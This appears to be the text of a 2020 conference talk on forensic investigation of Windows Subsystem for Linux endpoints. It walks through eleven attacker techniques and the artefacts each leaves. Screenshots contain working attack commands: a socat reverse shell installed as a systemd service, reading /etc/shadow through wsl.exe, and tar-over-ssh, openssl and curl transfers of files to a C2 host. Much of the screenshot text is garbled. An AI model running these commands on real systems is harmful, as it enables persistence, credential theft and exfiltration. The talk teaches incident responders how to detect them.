

Investigating WSL Endpoints

Asif Matadar @d1r4c

OSDFCon 2020

#whoami

- Director of Endpoint Detection & Response (EDR) at Tanium
- Seasoned Incident Response professional with over a decade working in InfoSec and specifically leading high-profile cases around the world, such as advanced targeted attacks, nation-state attacks, and data breaches, to name a few
- Public speaker at industry recognised conferences around the world:
 - DFRWS USA 2020
 - WSLConf (U.S.) 2020
 - OSDFCon (U.S.) 2019
 - OSDFCon (U.S.) 2018
 - IMF (Germany) 2018
 - OSDFCon (U.S.) 2017
 - BSidesNOLA (U.S.) 2017
 - BSidesMCR (U.K.) 2015
- Research focus on memory analysis and automation, *nix-based forensics, cloud forensics, and triage analysis



Investigating WSL Endpoints

- Since the announcement of the Windows Subsystem for Linux (WSL) back in 2016, there has been a lot of excitement to try and leverage WSL across workstations and servers a like by organisations and those that work in the industry.
- What does that mean for someone who works as a Digital Forensics & Incident Response professional?
 - Well adversaries and malware authors have already started focussing their attention on WSL; therefore, it is important to understand the underlying architecture changes that will allow one to investigate a compromised Windows 10 or Windows Server 2019 in the not too distant future.
- This talk will highlight the nuances to be aware of from a Digital Forensics & Incident Response
 perspective and illustrate forensic artefacts of interest, which will consist of a forensic examination
 on a WSL Endpoint to provide the audience an appreciation of what that entails and share insights
 that will assist them when the time arises.



Agenda

- What is WSL 2?
- What does that mean for Digital Forensics & Incident Response professionals?
- Forensic examination on a WSL Endpoint
 - 11 experiments



What is WSL2?

What is WSL 2?

- Full System Call Compatibility
 - WSL 2 has its own customised kernel specifically for WSL 2
 - Docker
 - WSL 1 had a translation layer to interpret the system calls, that allows them to work on the Windows NT kernel
- Faster than WSL 1
- Raw sockets



What is WSL 2?

- New architecture for Windows Subsystem for Linux
- Developed in-house kernel from stable branch at kernel.org source from version 4.19 kernel
- Customised kernel specifically for WSL 2
- As it's developed by Microsoft, updates to the kernel will be serviced by Windows Update
- Lightweight Utility VM
 - Hyper-V hypervisor



What does that mean for Digital Forensics & Incident Response professionals?

- Full System Call Compatibility
- Lightweight Utility VM
 - Hyper-V hypervisor
 - Not a traditional Virtual Machine
 - EXT4 Virtual Disk
 - C:\Users\User\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindow s_79rhkp1fndgsc\LocalState\ext4.vhdx
- Management of WSL
 - wsl.exe (WSL 2)
 - wslconfig (WSL 1)



Environment Variables

Computer\HKEY_CURRENT_USER\Environment			
🗸 💻 Computer	Name	Туре	Data
	ab (Default)	REG_SZ	(value not set)
	ab BASH ENV	REG SZ	/etc/bash.bashrc
> AppEvents	ab OneDrive	REG EXPAND SZ	C:\Users\User\OneDrive
> Console	ab OneDriveConsu	REG EXPAND SZ	C:\Users\User\OneDrive
S Control Panel	ab Path	REG EXPAND SZ	%USERPROFILE%\AppData\Local\Microsoft\WindowsApp
Environment	ab TEMD	REG EVDAND SZ	VIJSEPDPOEILEV\AppData\Local\Tomp
> EUDC		REG_EAPAIND_SZ	%USERPROFILE %(AppData\Local\Temp
Keyboard Layout	ab TMP	REG_EXPAND_SZ	%USERPROFILE%\AppData\Local\Temp
Microsoft	ab WSLENV	REG_SZ	BASH_ENV/u



Microsoft Store

Aicrosoft Store									
Home Apps	Games Devices Films &	TV							: م
Results for:	wsl								
Departments Apps		 Category All categories 		✓ PEGI All ratings		~ A	vailable on	~	
Reset filters									
2									
-12-									WAL
	· <u>></u>								WSL
			BY OFFENSIVE SECURITY					XSERVER4WINDOWS10	
Raft WSL 모	Windows Terminal (Preview)	Ubuntu 18.04 LTS	Kali Linux **** 47	Ubuntu **** 117	Alpine WSL	Debian ***** 16	Ubuntu 16.04 LTS	SAVE £33.35 X410	WSL Guideline
	***** 67 모	8	R	P	8	9	2	****2 ⊈⊜	8
Erao*	Eros	Free	Installed	Installed	Free	Installed	Fron	£41.74.59.20	Fron
nee	nee	i i ee	instanco	matanea	Thee	instaned	1126	14104 20.35	nee



WindowsApps

ne	Date modified	Туре	Size	
Common Files	12/12/2019 21:43	File folder		WindowsApps Properties ×
Internet Explorer	07/12/2019 14:46	File folder		
ModifiableWindowsApps	07/12/2019 09:14	File folder		General Sharing Security Previous Versions Customise
Uninstall Information	10/12/2019 13:32	File folder		
VMware	10/12/2019 13:35	File folder		WindowsApps
Windows Defender	12/12/2019 21:46	File folder		
Windows Defender Advanced Threat Prot	12/02/2020 11:41	File folder		Type: File folder
Windows Mail	07/12/2019 09:14	File folder		Location: C:\Program Files
Windows Media Player	07/12/2019 14:49	File folder		Size: 0 bytes
Windows Multimedia Platform	07/12/2019 14:49	File folder		Size on diek: O hytee
Windows NT	07/12/2019 14:45	File folder		
Windows Photo Viewer	07/12/2019 14:49	File folder		Contains: 0 Files, 0 Folders
Windows Portable Devices	07/12/2019 14:49	File folder		Created 07 December 2010, 00:14:52
Windows Security	07/12/2019 09:31	File folder		Created. 07 December 2013, 03.14.32
WindowsApps	13/02/2020 18:22	File folder		Attributes: Read-only (Only applies to files in folder)
WindowsPowerShell	07/12/2019 09:31	File folder		Hidden Advanced



OK

Cancel

WindowsApps

lame	Date modified	Туре	Size	
AppxMetadata	10/12/2019 14:17	File folder		
Assets	10/12/2019 14:17	File folder		
AppxBlockMap	10/12/2019 14:17	XML Document	214 KB	
AppxManifest	10/12/2019 14:17	XML Document	4 KB	
] AppxSignature.p7x	10/12/2019 14:17	P7X File	11 KB	
] install.tar.gz	10/12/2019 14:17	GZ File	225,762 KB	
] resources.pri	10/12/2019 14:17	PRI File	6 KB	
🜖 ubuntu	10/12/2019 14:17	Application	207 KB	



WindowsApps

> User > AppData > Local > Microsoft > WindowsApps > ~ Name Date modified Type Backup 17/07/2020 13:46 File folder CanonicalGroupLimited.Ubuntu18.04onWindows 79rhkp1fndqsc 17/07/2020 18:04 File folder CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc 08/07/2020 23:42 File folder KaliLinux.54290C8133FEE_ey8k8hqnwqnmg File folder 17/07/2020 13:46 Microsoft.DesktopAppInstaller 8wekyb3d8bbwe File folder 17/07/2020 13:47

Microsoft.MicrosoftEdge_8wekyb3d8bbwe	12/12/2019 21:47	File folder	
Microsoft.XboxGamingOverlay_8wekyb3d8bbwe	17/07/2020 13:41	File folder	
TheDebianProject.DebianGNULinux_76v4gfsz19hv4	17/07/2020 13:41	File folder	
📧 debian	17/07/2020 13:41	Application	0 KB
GameBarElevatedFT_Alias	17/07/2020 13:41	Application	0 KB
📧 kali	17/07/2020 13:46	Application	0 KB
MicrosoftEdge	12/12/2019 21:47	Application	0 KB
📧 python	17/07/2020 13:47	Application	0 KB
📧 python3	17/07/2020 13:47	Application	0 KB
🔳 ubuntu	08/07/2020 23:42	Application	0 KB
📧 ubuntu1804	17/07/2020 18:04	Application	0 KB
📧 winget	17/07/2020 13:47	Application	0 KB
		1.1	



Size

WindowsApps

→ This PC → Local Disk (C:) → Users → U	Jser → AppData → Local →	Microsoft > Window	vsApps > CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc
Name	Date modified	Туре	Size
📧 ubuntu1804	17/07/2020 18:04	Application	0 KB







Windows Terminal

😑 🐂 explorer.exe	0.06	61,420 K	165,872 K	5148 Windows Explorer	PS C:\Users\User> ubuntu.exe
SecurityHealthSystray.exe		1,680 K	10,476 K	4180 Windows Security notification icon	user@DESKTOP-91TT4IA:~\$
vmtoolsd.exe	0.15	22,048 K	50,368 K	8032 VMware Tools Core Service	
CneDrive.exe		15,904 K	42,644 K	8776 Microsoft OneDrive	Microsoft Corporation
🖃 🗾 WindowsTerminal.exe	0.51	21,704 K	77,204 K	1748	
OpenConsole.exe		1,980 K	9,940 K	8864	
🖃 💹 powershell exe		63,036 K	78,448 K	6360 Windows PowerShell	Microsoft Corporation
🖃 💹 powershell.exe		63,404 K	78,184 K	6220 Windows PowerShell	Microsoft Corporation
🕞 🧿 ubuntu.exe		1,488 K	8,060 K	2104	
😑 🛆 wsl.exe		1,292 K	7,220 K	9076 Microsoft Windows Subsystem for Linux I	auncher Microsoft Corporation
🖃 🔳 wslhost.exe		1,144 K	6,684 K	3324 Microsoft Windows Subsystem for Linux I	Background Host Microsoft Corporation
conhost.exe		6,716 K	15,308 K	6860 Console Window Host	Microsoft Corporation
ஜ procexp64.exe	2.57	25,448 K	68,472 K	7160 Sysinternals Process Explorer	Sysintemals - www.sysintemals.com



Forensic examination on a WSL Endpoint

- Environment:
 - Windows 10 Pro
 - Version 2004
 - Installed on 12/12/2019
 - OS Build 19041.84

Device specifications

Device name	DESKTOP-91TT4IA
Processor	Intel(R) Core(TM) i7-7820HQ CPU @ 2.90GHz 2.90 GHz
Installed RAM	4.00 GB
Device ID	1A479669-F4C2-43D9-8749-0D349F14D424
Product ID	00330-80131-22409-AA248
System type	64-bit operating system, x64-based processor
Pen and touch	No pen or touch input is available for this display

Rename this PC

Windows specifications

Edition	Windows 10 Pro
Version	2004
Installed on	12/12/2019
OS build	19041.84



- Experiments
 - 1. Persistence: Bashrc
 - 2. Persistence: Persistence through Inception! (Systemd)
 - 3. Persistence: Crontab
 - 4. Execution: Bourne Shell Reverse Shell
 - 5. Execution: PowerShell Reverse Shell
 - 6. Execution: Python Download File
 - 7. Lateral Movement: Remote File Copy
 - 8. Command and Control: Custom Command and Control Protocol
 - 9. Execution: wsl.exe
 - 10. Execution: bash.exe
 - 11. Execution: curl.exe



.

•

. . . .

• •

.

• •

Persistence: Bashrc

Persistence: Bashrc

Registry Key: HKEY_CURRENT_USER\Environment

Registry Key Name: BASH_ENV

Registry Data Name: /etc/bash.bashrc





Persistence: Bashrc





Persistence: Bashrc

- Trace the MAC times and data contents
 - /etc/bash.bashrc, ~/.bash_history, ~/.sh_history
- Timeline of the inodes
- Process Execution:
 - AMCache Program Entries
 - 2020-02-26 10:21:57, Canonical Group Limited. Ubuntuon Windows, 1804.2019.521
 - AMCache Associated File Entries
 - CanonicalGroupLimited.UbuntuonWindows,2019-12-12 21:48:22
 - AppCompactCache
 - C:\Program Files\WindowsApps\CanonicalGroupLimited.UbuntuonWindows_1804.2019.521.0_x64 __79rhkp1fndgsc\ubuntu.exe
 - CanonicalGroupLimited.UbuntuonWindows



Persistence: Bashrc

UserAssist

UserAssistView

File Edit View Options Help

Item Name	Index	Count 🗸	Modified Time	ClassID		
UEME_CTLSESSION	2	289		{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}		
UEME_CTLSESSION	70	101		{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}		
Microsoft.Windows.Explorer	16	42	09/03/2020 10:39:35	{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}		
CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsclubuntu	24	40	09/03/2020 09:56:09	{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}		
	74	36	09/03/2020 10:39:35	{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}		
@ {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe	19	24	09/03/2020 09:47:47	{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}		
	73	24	09/03/2020 09:47:47	{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}		



Persistence: Bashrc

- Prefetch
 - /Windows/Prefetch/UBUNTU.EXE-39E7ED6A.pf
- MFT
 - /Users/User/AppData/Local/Packages/CanonicalGroupLimited.UbuntuonWindows_79rhkpl fndgsc/LocalState/ext4.vhdx
 - /Users/User/AppData/Local/Microsoft/WindowsApps/ubuntu.exe
 - /Users/User/AppData/Local/Microsoft/WindowsApps/CanonicalGroupLimited.UbuntuonWindows_79rhkplfndgsc/ubuntu.exe



.

• •

.

Persistence: Persistence through Inception! (Systemd)

Systemd Service

Attacker Listener

Q		
Recycle Bin	O root@DESKTOP-91TT4IA: ~	
kecycle Bin Milerosoft Edge	<pre> root@DESKTOP-91TT4IA:~ root@DESKTOP-91TT4IA:~# cat /var/tmp/start_service export attacker_host=192.168.9.133 export attacker_port=22 socat tcp-connect:\$attacker_host:\$attacker_port exec:sh,pty,stderr,setsid,sigint,sane root@DESKTOP-91TT4IA:~# systemctl enable start_service.service root@DESKTOP-91TT4IA:~# systemctl start start_service.service root@DESKTOP-91TT4IA:~# systemctl start start_service.service root@DESKTOP-91TT4IA:~# </pre>	<pre>III III IIIIIIIIIIIIIIIIIIIIIIIIIIIII</pre>
		HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG REPORT URL="https://bugs.launchpad.net/ubuntu/"
		PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic \$







- Systemd Journals
 - /run/log/journal/*/system.journal
 - /run/systemd/journal/*
- Systemd configuration files
 - /etc/systemd/system/*
 - /run/systemd/*
 - /var/lib/systemd/*
 - /usr/lib/systemd/*
- Registry Artefacts for persistence





First and last interacted



Persistence: Crontab

•

• •

.

Persistence: Crontab





. Execution: Bourne Shell Reverse Shell . . .

Execution: Bourne Shell Reverse Shell





. Execution: PowerShell Reverse Shell

Execution: PowerShell Reverse Shell





 •
 •
 •
 •
 •
 •
 •
 •
 •

 •
 •
 •
 •
 •
 •
 •
 •
 •

 •
 •
 •
 •
 •
 •
 •
 •
 •

.

Execution: Python Download File

Execution: Python Download File





. • • • • Lateral Movement: Remote File Copy

























.

Command and Control: Custom Command and Control Protocol

.









Command and Control: Custom Command and Control Protocol

Stop trace

C:\\Usanc\\Analysis>netsh trace stop Merging traces ... done Generating data collection ... done The trace file and additional troubleshooting information have been compiled as "C:\Users\User\AppData\Local\Temp\NetTra ces\NetTrace.cab". File location = C:\Users\User\AppData\Local\Temp\NetTraces\NetTrace.etl Tracing session was successfully stopped.















.

• • • • • • •

• • • • • • •

• • • • • • •

and the second second

.

	23 Administrator: Windows PowerShell
welleve Execution	PS_C:\users\users wsl.exeexec cat /etc/os-release
	NAME="Ubuntu"
	VERSION="18.04.4 LTS (Bionic Beaver)"
	ID=ubuntu
	ID_LIKE=debian
	PRETTY_NAME="Ubuntu 18.04.4 LTS"
	VERSION_ID="18.04"
	HOME_URL="https://www.ubuntu.com/"
	SUPPORT_URL="https://help.ubuntu.com/"
	BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
	PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
	VERSION_CODENAME=bionic
	UBUNTU_CODENAME=bionic
	PS C:\users\user>



Execution: wsl.exe

wsl.exe Execution

Windows PowerShell PS C:\Users\User> wsl.exe -e sudo cat /etc/shadow [sudo] password for user: root:*:18037:0:99999:7::: daemon:*:12037:0:99999:7::: bin:*:15037:0:99999:7::: sys:::18037:0:99999:7:::: vnc:*:18037:0:99999:7::: games:*:18037:0:99999:7::: man:*:18037:0:99999:7::: lp:*:18037:0:99999:7::: mail:*:18037:0:99999:7::: news:*:18037:0:99999:7::: uucp:*:18037:0:99999:7::: proxy:*:18037:0:99999:7::: www-data:*:18037:0:99999:7::: backup:*:18037:0:99999:7::: list:*:18037:0:99999:7::: irc:*:18037:0:99999:7::: gnats:*:18037:0:99999:7::: nobody:*:18037:0:99999:7::: systemd-network:*:18037:0:99999:7::: systemd-resolve:*:18037:0:99999:7::: syslog:*:18037:0:99999:7::: messagebus:*:18037:0:99999:7::: apt:*:18037:0:99999:7::: lxd:*:18037:0:99999:7::: uuidd:*:18037:0:99999:7::: dnsmasg:*:18037:0:99999:7::: landscape:*:18037:0:99999:7::: sshd:*:18037:0:99999:7:::







Administrator: Command Prompt		- 0	×
∷\Users\Administrator>wsl.exe -e ba : > archive_folder.tar.gz" Varning: Permanently added '172.31. GxlYXNlZG9udGRlY29kZW11@172.31.67.	ash -c "sudo tar czvf - /mnt/c/users/administrator/archive_folder" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cGxlYXNlZ 57.224' (ECDSA) to the list of known hosts. 224's password: [sudo] password for user:	G9udGR1Y29kZW11@172.31.67.224	" са
Sorry, try again. [sudo] password for user: tar: Removing leading `/' from membu /mnt/c/users/administrator/archive_ /mnt/c/users/administrator/archive_	er names folder/ folder/files		
C:\Users\Administrator>powershell -	: Get-ItemProperty -Path .ssh/known_hosts		
Directory: C:\Users\Administrate	pr\.ssh		
Mode LastWriteTime	Length Name		
-a 7/6/2020 2:01 AM	105 known_hosts		
C:\Users\Administrator>_	<pre>root@c2:/home/cGxIYXNIZG9udGRIY29kZW11 [root@c2 cGx1YXNIZG9udGR1Y29kZW11]# ls -ltrh archive_folder.tar.gz -rw-rw-r- 1 cGx1YXNIZG9udGR1Y29kZW11 cGx1YXNIZG9udGR1Y29kZW11 6.0K Jul 6 14:54 archive_folder.tar.gz [root@c2 cGx1YXNIZG9udGR1Y29kZW11]# tar xzvf archive_folder.tar.gz mnt/c/users/administrator/archive_folder/ imnt/c/users/administrator/archive_folder/files [root@c2 cGx1YXNIZG9udGR1Y29kZW11]# [root@c2 cGx1YXNIZG9udGR1Y29kZW11]# [root@c2 cGx1YXNIZG9udGR1Y29kZW11]#</pre>		



- Process command line activity
- Process lineage
- Caveat:
 - Execution of Linux commands will not be saved in ~/.bash_history, ~/.sh_history, etc,



.

• • • • • •

• • • • • • • •

.

· · · · • • •

Execution: bash.exe

Execution: bash.exe

Administrator: Command Prompt

bash.exe Execution

C:\Windows\Temp>bash.exe -c "openssl <u>s</u> client -quiet -connect 172.31.67.224:99" > "file" depth=0 C = Xie L = Default City, 0 = Default Company Ltd verify erportnum=18:self signed certificate verify_detunn:1 depth=0 C = XX, L = Default City, 0 = Default Company Ltd werify return:1 read:errno=0 C:\Windows\Temp>dir file Volume in drive C has no label. Volume is Prial Number is F455-D018

Directory of C:\Windows\Temp

07/03/2020 03:56 PM 1,505 file 1 File(s) 1,505 bytes 0 Dir(s) 11,871,023,104 bytes free

:\Windows\Temp>_

[[root@c2 shm]# openssl s_server -key k.pem -cert c.pem -port 99 < file Using default temp DH parameters ACCEPT

DONE

shutdown accept socket shutting down SSL CONNECTION CLOSED 0 items in the session cache 0 client connects (SSL_connect()) 0 client connects (SSL_connect()) 0 client connects that finished 1 server accepts (SSL_accept()) 0 server renegotiates (SSL_accept()) 1 server accepts that finished 0 session cache hits 1 session cache timeouts 0 callback cache hits 0 callback cache hits 1 secon full overflows (128 allowed)



- 🗆 🗙

.

• • • • • • •

• • • • • • •

• • • • • • • •

and the second second

and the second second second second

Execution: curl.exe

Execution: curl.exe

Administrator: Command Prompt

C:\Windows\Temp>curl.exe -F file=@archive file.cab http://172.31.67.224:88 curl: (52) Empty reply from server C:\Windows\Temp>dir archive file.cab Volume in drive C has no label. Volume Serial Number is F455-D01B Directory of C:\Windows\Temp 07/03/2020 12:10 PM 88,591 archive file.cab 1 File(s) 88,591 bytes 0 Dir(s) 12,013,625,344 bytes free C:\Windows\Temp>_ . . . f d1r4c — ssh TrainingAdmin@54.245.1.135 — 106×42 [[root@c2 shm]# socat -u tcp-listen:88,reuseaddr open:archive_file.tar.gz,creat ^C[root@c2 shm]# ls -ltrh archive_file.tar.gz -rw-r--r-- 1 root root 87K Jul 3 12:15 archive_file.tar.gz [root@c2 shm]#

curl.exe Execution



Conclusion

- Adversaries and malware authors will continue to explore attack surfaces on WSL 2, as it becomes more prevalent across enterprise environments
- WSL 2 Endpoints is going to make Digital Forensics and Incident Response professionals lives a lot more interesting
- I highlighted 11 techniques based on my initial research, but I expect there to be more attack surfaces with WSL 2



References

- OSDFCon 2019: Investigating Linux Endpoints
 - <u>https://www.osdfcon.org/presentations/2019/Asif-Matadar_Investigating-Linux-Endpoints.pdf</u>
- <u>https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/</u>
- <u>https://twitter.com/d1r4c/status/1280196218308694016</u>
- <u>https://lolbas-project.github.io/lolbas/Binaries/Bash/</u>
- <u>https://twitter.com/d1r4c/status/1279085773522862082</u>
- <u>https://twitter.com/d1r4c/status/1279042657508081664</u>



